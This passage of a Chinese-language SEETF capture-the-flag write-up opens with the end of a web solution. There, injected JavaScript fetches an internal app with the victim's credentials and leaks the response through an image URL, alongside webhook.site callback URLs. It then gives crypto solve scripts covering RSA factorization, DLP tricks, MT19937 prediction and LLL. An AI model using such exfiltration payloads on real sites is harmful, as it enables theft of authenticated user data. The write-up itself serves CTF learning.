        "10": "https://webhook.site/06eae124-3374-4350-bf71-a84da04149b2"
    },
    "font": "https://webhook.site/06eae124-3374-4350-bf71-a84da04149b2"
}</div>
<div id="page-style">{}</div>
<script>
    window.onload = ()=>{
        fetch('http://app/', {
            headers: {
                TOKEN: 'promptly-mushroom-chastise'
            },
            credentials: 'include'
        }).then(r=>r.text()).then(flag=>(new Image).src=location.href+'?flag='+flag)
    }
</script>
SEE{1_l0v3_chr0m3_3xt3ns10n5_ca6eca1ad886e25437554b9b70d71a8a}

然而有個很令人疑惑的地方是 page-style 的 prototype pollution 要做什麼，怎麼好像沒用到的樣子? 這是因為我這個解法算是部分 unintended 的。

去讀一下作者 writeup 可知它預期是讓我們去 pollute credentials: include 並讓它 request http://app/，然後從 style tag 中把 flag 拿出來。我想不到這個的原因大概是因為我還是第一次知道原來 prototype pollution 對瀏覽器內建的 api 也有用。

Crypto

Close Enough

很標準的 RSA，不過 ，所以直接用 fermat factorization 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from Crypto.PublicKey import RSA
from Crypto.Util.number import *

key = RSA.import_key(open("key").read())
c = 4881495507745813082308282986718149515999022572229780274224400469722585868147852608187509420010185039618775981404400401792885121498931245511345550975906095728230775307758109150488484338848321930294974674504775451613333664851564381516108124030753196722125755223318280818682830523620259537479611172718588812979116127220273108594966911232629219195957347063537672749158765130948724281974252007489981278474243333628204092770981850816536671234821284093955702677837464584916991535090769911997642606614464990834915992346639919961494157328623213393722370119570740146804362651976343633725091450303521253550650219753876236656017


def fermat(x, mx):
    a = floor(sqrt(x))
    b2 = a * a - x
    cnt = 0
    while True:
        if is_square(b2):
            b = floor(sqrt(b2))
            return a + b, a - b
        a += 1
        cnt += 1
        if cnt == mx:
            return
        b2 = a * a - x


p, q = fermat(key.n, 1000)
print(p, q)
d = inverse_mod(key.e, (p - 1) * (q - 1))
m = power_mod(c, d, key.n)
print(long_to_bytes(m))
# SEE{i_love_really_secure_algorithms_b5c0b187fe309af0f4d35982fd961d7e}

Lost Modulus

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from Crypto.Util.number import getPrime, long_to_bytes, bytes_to_long

with open("flag.txt", "rb") as f:
    FLAG = f.read()

n = bytes_to_long(FLAG)

#make sure i have a big modulus
while n.bit_length() < 2048:
    n *= n

def encrypt(m1, m2):
    e = getPrime(256)
    assert m1.bit_length() >= 1600 and long_to_bytes(m1).startswith(b"SEE{"), 'first message must be at least 1600 bits and begin with "SEE{"'
    assert 500 <= m2.bit_length() <= 600, 'second message must be within 500 to 600 bits'

    return pow(m1, e, n), pow(m2, e, n)


def main():
    try:
        m1 = int(input("Message 1 (as integer) : ").strip())
        m2 = int(input("Message 2 (as integer) : ").strip())
        c1, c2 = encrypt(m1, m2)
        print(f"\nCiphers: \n{[c1,c2]}")
    except Exception as e:
        print(e)

if __name__ == '__main__':
    main()

這題要想辦法用 gcd 得到 ，所以要讓 和 有點關係才行。以這題要求的大小來說 剛剛好。

不過他還要求 要由 SEE{ 開頭，所以我的作法是先隨便取 SEE{ 開頭的 ，然後找出 ，之後再更新 即可。因為 SEE{ 只有 4 bytes 所以被 floor truncate 掉的部分對它沒影響。

之後就 connect 多次去 gcd 出 的次方，之後再爆破找次方即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from Crypto.Util.number import *
import os
import gmpy2
import ast


def gen():
    m1 = bytes_to_long(b"SEE{" + os.urandom(1700 // 8 - 4))
    m2 = int(gmpy2.iroot(m1, 3)[0])
    m1 = m2**3

    io = remote("fun.chall.seetf.sg", 30004)
    io.sendlineafter(b"Message 1 (as integer) : ", str(m1).encode())
    io.sendlineafter(b"Message 2 (as integer) : ", str(m2).encode())
    io.recvuntil(b"Ciphers: \n")
    c1, c2 = ast.literal_eval(io.recvlineS().strip())
    return c2**3 - c1


x = gcd(gcd(gen(), gen()), gen())
for i in range(2, 10):
    r, exact = gmpy2.iroot(x, i)
    if exact:
        print(i, long_to_bytes(r))
# SEE{common_moduli_with_common_exponents_daf4ede8dda5c}

UniveRSAlity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import math, json
from secrets import token_urlsafe
from Crypto.Util.number import isPrime, bytes_to_long, long_to_bytes

def main():
    try:
        # create token
        token = token_urlsafe(8)
        js = json.dumps({'token': token})
        
        # select primes
        print(f'Welcome to the RSA testing service. Your token is "{token}".')
        print('Please give me 128-bit primes p and q:')
        p = int(input('p='))
        assert isPrime(p) and p.bit_length() == 128, 'p must be a 128-bit prime'
        assert str(float(math.pi)) in str(float(p)), 'p does not look like a certain universal constant'
        q = int(input('q='))
        assert isPrime(q) and q.bit_length() == 128, 'q must be a 128-bit prime'
        assert str(float(math.e)) in str(float(q)), 'q does not look like a certain universal constant'

        # encode
        print('We will use e=65537 because it is good practice.')
        e = 65537
        m = bytes_to_long(js.encode())
        c = pow(m, e, p * q)

        # decode
        print('Now what should the corresponding value of d be?')
        d = int(input('d='))
        m = pow(c, d, p * q)
        
        # interpret as json
        js = json.loads(long_to_bytes(m).decode())
        assert js['token'] == token, 'Invalid token!'
        print('RSA test passed!')

        if 'flag' in js:
            from secret import flag
            print(flag)
    
    except Exception as e:
        print(e)

if __name__ == '__main__':
    main()

這題首先需要轉換成 float 中分別包含 和 的 和 ，這部分直接暴力找即可。

第二個部分是要找出讓 成立的 ，其中 是原本的 json，而 是修改過的 json (多加了 flag 這個 key)。

首先要注意到 只有 256 bits，所以最多只能 32 bytes，直接使用 json.dumps 出來的 json 因為有空白所以會超過，得自己把空白去掉才會剛剛好 32 bytes。

之後找 的部分可以知道是個 DLP，所以在前面爆破的時候要找 和 都夠 smooth 的情況，然後就能解 DLP 拿 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
from Crypto.Util.number import *
from sage.all import GF, crt, factor
import json

context.log_level = "debug"


def nextPrime(x):
    x += 1
    while not isPrime(x):
        x += 1
    return x


def smoothEnough(x):
    fs = factor(x)
    return all([p < 2**40 for p, _ in fs])


def findSmooth(x):
    p = nextPrime(x)
    while not smoothEnough(p - 1):
        p = nextPrime(p)
    return p


io = remote("fun.chall.seetf.sg", 30002)
io.recvuntil(b'token is "')
token = io.recvuntilS(b'"')[:-1]
print(token)
js = json.dumps({"token": token})
js2 = json.dumps({"token": token, "flag": 1})

p = findSmooth(314159265358979300000000000000000000000)
q = findSmooth(271828182845904500000000000000000000000)

while True:
    print(float(p), float(q))

    g = pow(bytes_to_long(js.encode()), 65537, p * q)
    y = bytes_to_long(js2.replace(" ", "").encode()) % (p * q)
    try:
        dp = GF(p)(y).log(g)
        dq = GF(q)(y).log(g)
        d = int(crt([int(dp), int(dq)], [p - 1, q - 1]))
    except Exception as ex:
        print(ex)
        p = findSmooth(p)
        q = findSmooth(q)
        continue
    break

print(p, q, d)
io.sendlineafter(b"p=", str(p).encode())
io.sendlineafter(b"q=", str(q).encode())
io.sendlineafter(b"d=", str(d).encode())
io.interactive()
# SEE{pohlig-hellman_easy_as_pie_db01d3f24beda43e}

The True ECC

這題在 上的一個橢圓 上做 diffie hellman，要找到 shared secret 解密 flag 才行。

使用的 group law 加法是這樣定義的:

這可以用 Brahmagupta's identity 驗證它加法後的點也還是在橢圓 的上面。

因為之前看過了好幾個這個的類題，所以很快能想到要把它 map 到一個 order 很好算 DLP 的 group。

這邊可以定義 :

然後驗證一下 是否確實是 group homomorphism:

然後這邊的 group order 是 ，不過測試一下可以知道它給的 generator 的是屬於 的。再來 很 smooth，所以直接算 DLP 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
a, p = 376014, (1 << 521) - 1
F.<i> = GF(p ^ 2, modulus=x ^ 2 + a)

gx = 0x1bcfc82fca1e29598bd932fc4b8c573265e055795ba7d68ca3985a78bb57237b9ca042ab545a66b352655a10b4f60785ba308b060d9b7df2a651ca94eeb63b86fdb
gy = 0xca00d73e3d1570e6c63b506520c4fcc0151130a7f655b0d15ae3227423f304e1f7ffa73198f306d67a24c142b23f72adac5f166da5df68b669bbfda9fb4ef15f8e
ax, ay = (
    2138196312148079184382240325330500803425686967483863166176111074666553873369606997586883533252879522314508512610120185663459330505669976143538280185135503158,
    1350098408534349199229781714086607605984656432458083815306756044307591092126215092360795039519565477039721903019874871683998662788499599535946383133093677646,
)
bx, by = (
    4568773897927114993549462717422746966489956811871132275386853917467440322628373530720948282919382453518184702625364310911519327021756484938266990998628406420,
    3649097172525610846241260554130988388479998230434661435854337888813320693155483292808012277418005770847521067027991154263171652473498536483631820529350606213,
)
ct = b"q\xfa\xf2\xe5\xe3\xba.H\xa5\x07az\xc0;\xc4%\xdf\xfe\xa0MI>o8\x96M\xb0\xfe]\xb2\xfdi\x8e\x9e\xea\x9f\xca\x98\xf9\x95\xe6&\x1fB\xd5\x0b\xf2\xeb\xac\x18\x82\xdcu\xd5\xd5\x8e<\xb3\xe4\x85e\xddX\xca0;\xe2G\xef7\\uM\x8d0A\xde+\x9fu"

def phi(x,y):
    return x+y*i

a = phi(ax, ay).log(phi(gx, gy))

from ecc import Point, curve, decrypt

B = Point(curve, int(bx), int(by))
shared = B * int(a)
print(decrypt(shared, ct))
# SEE{W4it_whaT_do_y0u_meaN_Ecc_d0esnt_Us3_e1Lipses}

類題:

DLP

這題有個 ，其中 都大概 256 bits，而 。目標是要算 的 ，也就是解 DLP。

這題的 的 order 只有 而已，要特別注意一下。

看到這題的時候馬上就讓我想起了 m0leCon CTF 2021 Teaser — Giant log，它裡面使用了 p-adic 的 discrete log 計算 的值，因為實際上 DLP 困難的部分只有 的部分。

這個方法就我的理解來說算是這種二項式定理的一個延伸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from hashlib import sha256
from params import g, gm, n

# for some unknown reason, not converting python int to sage ZZ will make it really slow (4s vs 31s)
# probably it is because python's bigint isn't as good as sage?
g = ZZ(g)
gm = ZZ(gm)

primes, power = n
n = product(p**w for p, w in zip(primes, power))

rem = []
mod = []
for p, e in zip(primes, power):
    R = Zp(p, prec=e)
    x = (R(gm).log() / R(g).log()).lift()
    assert power_mod(g, x, p**e) == gm % (p**e)
    rem.append(x)
    mod.append(p ** (e - 1))

m = int(crt(rem, mod))
assert power_mod(g, m, n) == gm
print("SEE{%s}" % sha256(m.to_bytes((m.bit_length() + 7) // 8, "little")).hexdigest())
# SEE{ca66f51d61e23518c23994777ab1ad2f1c7c4be09ed3d56b91108cf0666d49d1}

或是也可以參考這個 Math SE 的問題。總之它的作法簡單來說就是找到 的 homomorphism 而已，然後 DLP 就變成 modular inverse。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# This function is from Discord, by @wiwam845
def theta(x, p, power):
    n = p**power
    pp = p ** (power - 1)
    ppp = p ** (2 * power - 1)
    return int(pow(x, 2 * pp, ppp) - 1) // n


g = pow(2, (p - 1), p**e)
x = randint(1, p**e)
y = pow(g, x, p**e)
tg = theta(g, p, e)
ty = theta(y, p, e)
assert ty * pow(tg, -1, p ** (e - 1)) % (p ** (e - 1)) == x % (p ** (e - 1))

*Probability

這題我賽中只解了前半的 Crypto 部分，後半 Algorithm 的部分沒能解掉 QQ

簡單來說這題是要玩個類似 21 點 (Blackjack) 的遊戲，在 1337 次中贏 800 次以上就有 flag。不過每次是抽 random.random() 的輸出，當你超過 1.0 就會爆炸。不過 dealer 完全是在作弊，因為是你先抽完，然後 dealer 只要還沒超過你的分數就會一直抽，唯一贏過 dealer 的方法是期望它抽到超過 1.0，所以自己是佔劣勢。

而 Crypto 部分就是要想辦法預測 random.random() 的輸出。這部分就先去看看 CPython 的 implementation，可以知道它大概是這樣:

1
2
3
4
def random():
    a = getrandbits(32) >> 5
    b = getrandbits(32) >> 6
    return (a * 67108864.0 + b) * (1.0 / 9007199254740992.0)

因為其中 67108864 是 2**26，所以可以從一個輸出還原出兩個 truncate 過的 output。我這邊用了 JuliaPoo/MT19937-Symbolic-Execution-and-Solver，蒐集 1248 個 16 bits 的 output (相當於 624 個 random.random()) 之後就能完美預測未來的數字。

然後剩下就是想辦法利用已知的未來輸出找出最佳的玩法，這部分預期好像是用 dynamic programming，細節可以看作者 writeup。

我當時是用了很原始的 DFS bruteforce，連額外的記憶都沒做所以導致它沒辦法搜很遠，最高只能到大概 750 wins 而已。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
from pwn import *
import sys
import numpy as np
from subprocess import Popen, PIPE

sys.path.append("./MT19937-Symbolic-Execution-and-Solver/source")
from MT19937 import MT19937, MT19937_symbolic
from XorSolver import XorSolver

io = process(["python", "probability.py"])
# io = remote("fun.chall.seetf.sg", 30001)


def toab(f):
    v = int(f * 9007199254740992.0)
    b = v % 67108864
    a = v // 67108864
    return a, b


# context.log_level = 'debug'
nbits = 16
data = []
while len(data) < 2 * 624:
    print(len(data))

    # recv float
    io.recvuntil(b"[")
    f = float(io.recvuntil(b"]")[:-1])
    a, b = toab(f)
    data.append(a >> 11)
    data.append(b >> 10)

    io.recvline()
    if io.recvn(2) == b"Do":
        # Do you want to hit or stand?
        if f < 0.57:
            io.sendline(b"h")
            continue
        else:
            io.sendline(b"s")
            while True:
                l = io.recvlineS().strip()
                if "draws" not in l:
                    break
                f = float(l.split("[")[1].split("]")[0])
                a, b = toab(f)
                data.append(a >> 11)
                data.append(b >> 10)
    else:
        # You have gone bust. Dealer wins!
        pass


def randfloat(rng):
    a = rng() >> 5
    b = rng() >> 6
    return (a * 67108864.0 + b) * (1.0 / 9007199254740992.0)


def clone(rng):
    return MT19937(state=rng.state[:], ind=rng.ind)


def get_future_n(rng, n):
    c = clone(rng)
    return [randfloat(c) for _ in range(n)]


rng = MT19937(state_from_data=(data, nbits))
for _ in range(len(data) // 2):
    randfloat(rng)


r = io.recvuntil(b"Round", timeout=1)
for _ in range(r.count(b"[")):
    randfloat(rng)
if r:
    io.recvline()


def find_best(cur, future):
    def sim(cur, future, choices):
        if cur + future[0] < 1.0:
            yield from sim(cur + future[0], future[1:], choices + ["h"])
        dealer = 0
        i = 0
        while dealer <= cur:
            dealer += future[i]
            i += 1
        yield (choices + ["s"], dealer >= 1.0, future[i:])


def calc_dealer(cur, future):
    dealer = 0
    i = 0
    while dealer <= cur:
        dealer += future[i]
        i += 1
    return dealer, future[i:]


# def traverse(cur, future, depth=0):
#     if depth >= 20:
#         return 0, 0, []
#     ar = []
#     ch = []
#     while cur < 1.0:
#         dealer, ff = calc_dealer(cur, future)
#         win, lose, path = traverse(ff[0], ff[1:], depth + 1)
#         if dealer >= 1:
#             win += 1
#         else:
#             lose += 1
#         ar.append((win, lose, ch + ["s"] + path))
#         cur += future[0]
#         future = future[1:]
#         ch.append("h")
#     mxrate = -1
#     mxwin = -1
#     mxlose = -1
#     mxpath = None
#     for win, lose, path in ar:
#         rate = win / lose if lose > 0 else 10000
#         if rate > mxrate:
#             mxrate = rate
#             mxwin = win
#             mxlose = lose
#             mxpath = path
#     return mxwin, mxlose, mxpath


def otraverse(cur, future, depth=0):
    if depth >= 15:
        return 0, 0, []
    ar = []
    ch = []
    while cur < 1.0:
        dealer, ff = calc_dealer(cur, future)
        win, lose, path = otraverse(ff[0], ff[1:], depth + 1)
        if dealer >= 1:
            win += 1
        else:
            lose += 1
        rate = win / lose if lose > 0 else 0
        if rate >= 1.8:
            return win, lose, ch + ["s"] + path
        ar.append((win, lose, ch + ["s"] + path))
        cur += future[0]
        future = future[1:]
        ch.append("h")
    mxrate = -1
    mxwin = -1
    mxlose = -1
    mxpath = None
    for win, lose, path in ar:
        rate = win / lose if lose > 0 else 10000
        if rate > mxrate:
            mxrate = rate
            mxwin = win
            mxlose = lose
            mxpath = path
    return mxwin, mxlose, mxpath

def traverse(cur, future, depth=0):
    # C++ version of `otraverse`, not really faster...
    p = Popen(["./fast_traverse"], stdin=PIPE, stdout=PIPE, stderr=PIPE)
    stdin = str(len(future)) + "\n" 
    stdin += "".join(map(str,future)) + "\n"
    stdin += str(cur)
    stdout, stderr = p.communicate(stdin.encode())
    # print(stdout.decode())
    # print(otraverse(cur,future,depth))
    # print(cur)
    # exit()
    win, lose, path = stdout.decode().strip().split('\n')
    return int(win), int(lose), list(path)

# context.log_level = "debug"
while True:
    l = io.recvlineS().strip()
    print(l)
    f = float(l.split("[")[1].split("]")[0])
    r = randfloat(rng)
    while r != f:
        r = randfloat(rng)
    cur = float(l.split("p1 = ")[1].split(")")[0])
    future = np.array(get_future_n(rng, 4096))
    win, lose, path = otraverse(cur, future)
    print(win, lose, path)
    io.sendline("\n".join(path).encode())
    for x in path:
        io.recvuntil(b"Do you want to hit or stand? ")
    # for x in path:
    #     io.sendlineafter(b"Do you want to hit or stand? ", x.encode())
    io.recvuntil(b"Score: ")
    w, l = map(int, io.recvlineS().strip().split('-'))
    if l>=1337-800:
        print('lose')
        exit(1)
    print(w, l)
    io.recvline()
    io.recvline()

io.interactive()

不過我還是有學到些關於 MT19937 的知識，尤其是關於需要幾個輸出才能還原狀態。原本我以為公式應該是 needed_samples = ceil(19937 / bits_per_sample)，但實際上測試並非如此。以 16~31 bits 的區間來說，實際上都需要至少 2 * 624 個 sample 才能完全復原 prng，少任何一個都會讓它有些誤差出現，我猜是因為 mt19937 的某些性質導致了它就算有更多的 bits 也仍讓它在解 linear system 的時候不是 full rank。從這邊看起來實際上需要的 samples 是 624 * int(31.9 // bits_per_sample + 1) 才對。

Neutrality

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from secrets import randbits
from Crypto.Util.number import bytes_to_long

# get a one-time-pad in which exactly half the bits are set
def get_xorpad(bitlength):
    xorpad = randbits(bitlength)
    return xorpad if bin(xorpad).count('1') == bitlength // 2 else get_xorpad(bitlength)

def leak_encrypted_flag():
    from secret import flag
    return bytes_to_long(flag.encode()) ^ get_xorpad(len(flag) * 8)

# I managed to leak the encrypted flag a few times
if __name__ == '__main__':
    for _ in range(200):
        print(leak_encrypted_flag())

有個 320 bits 的 flag，使用了 200 次 one time pad 加密。特別的地方在於它的 one time pad 的 1 和 0 的數量是完全平衡的 (各 160 個)。

所以我的想法是這樣，因為 one time pad 本身的 hamming weight 只有 160，也就代表任何一個密文 和 flag 的 hamming distance 也是 160。所以這個問題就像是給予了 200 個 之中的點，然後要找距離每個點都等距的那個點 ，也就是 flag。

這個問題有點像給予多個點找圓心的問題，不過問題在於這邊的 距離 用的是 hamming distance。這部分其實也很好解決，因為直接套用一般 euclidean distance 的話可以知道在這個 的情況下它其實和 hamming distance 是一樣的。

所以把 flag 表示為 ，然後對於每個 來說可以寫出:

然後因為未知數 有二次項處理起來比較麻煩，所以兩兩相減可以得到 119 條 linear equation。這個 320 unknowns vs 119 equations 的情況下是個 underdetermined system，沒辦法用一般方法解出 。

不過我們還有 這個條件還沒使用到。這個可以想像為一個 的系統加上 的要求，這樣就很自然的想到了 LLL。

所以取個夠大的常數 ，然後對以上的矩陣做 LLL 後在預期中可以得到短向量 。不過實際上根據測試只有在大概 280 unknowns 時才能成功，有更多未知數的話會導致 LLL 找不到更短的向量。

我也有試過 BKZ 但是因為跑太久所以就放棄了，只好改用 flag format 是已知的特點給它加點額外的資訊下去以求 LLL 出來的向量能更短點。

具體來說是把 SEETF{\0\0...\0} 一樣變成向量 ，然後另外把上面那邊取得的所有 形式的短向量的 部分蒐集成 。之後再寫出這個矩陣:

把其中屬於 flag prefix SEETF{ 和 suffix } 的那些 bits 乘上一個很大的常數 ，然後做 LLL 之後就能找到目標的短向量了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from sage.all import *
from Crypto.Util.number import bytes_to_long

with open("output.txt") as f:
    ar = []
    for l in f:
        ar.append(int(l))

bits = 320
vecs = [list(map(int, f"{x:0{bits}b}")) for x in ar]

P = PolynomialRing(ZZ, bits, "x")
xs = P.gens()
polys = []
for v in vecs:
    polys.append(sum([(a - b) ** 2 for a, b in zip(v, xs)]))
eqs = Sequence([f - g for f, g in zip(polys, polys[1:])])
M, v = eqs.coefficient_matrix()
M = M.dense_matrix()
print(vector(v))
A = M[:, :-1]
b = vector(-M[:, -1])
print(A.dimensions())
# f = bytes_to_long(flag.encode())
# print(vector(map(int, f"{f:0{bits}b}")))
# print("sancheck", A * vector(map(int, f"{f:0{bits}b}")) == b)

flag_tmpl = bytes_to_long(b"SEE{" + b"\0" * 35 + b"}")


def lllsolve(A, b):
    # find a *small* solution x such that A*x=b
    A = A.T
    nr, nc = A.dimensions()
    A = A.augment(matrix.identity(nr))
    A = A.stack(vector(list(b) + [0] * nr))
    A[:, :nc] *= 2**30
    A2 = []
    for row in A.LLL():
        if row[:nc] == 0:
            A2.append(row[nc:])
    A2 = matrix(A2)

    # unfortunately, the known information isn't enough for LLL to find a smaller solution (the flag)
    # so letting known part be zero and hope it is good enough
    t = vector(list(map(int, f"{flag_tmpl:0{bits}b}")))
    A2 = A2.stack(t)
    A2[:, : 4 * 8] *= 2**30
    A2[:, -8:] *= 2**30
    flagv = t - A2.LLL()[0]
    print(flagv)
    flag = ""
    for i in range(0, len(flagv), 8):
        bs = "".join(map(str, flagv[i : i + 8]))
        flag += chr(int(bs, 2))
    print(flag)


lllsolve(A, b)
# SEE{50-50_can_be_leaky_4c17bf2a20c4a8df}

這邊還有個其他人的 writeup，也是 LLL 的: by dogdogeatcatcat

另外我還有在 DC 看到一些很有趣的解，像是有人用 pytorch 訓練去最小化 hamming distance 和 160 的差距，結果也真能成功==。

另外還有一個做法是使用 integer programming 去優化它，使用了這個 library。xor 的部分使用了類似這篇的方法把它轉換成方便做優化的等式。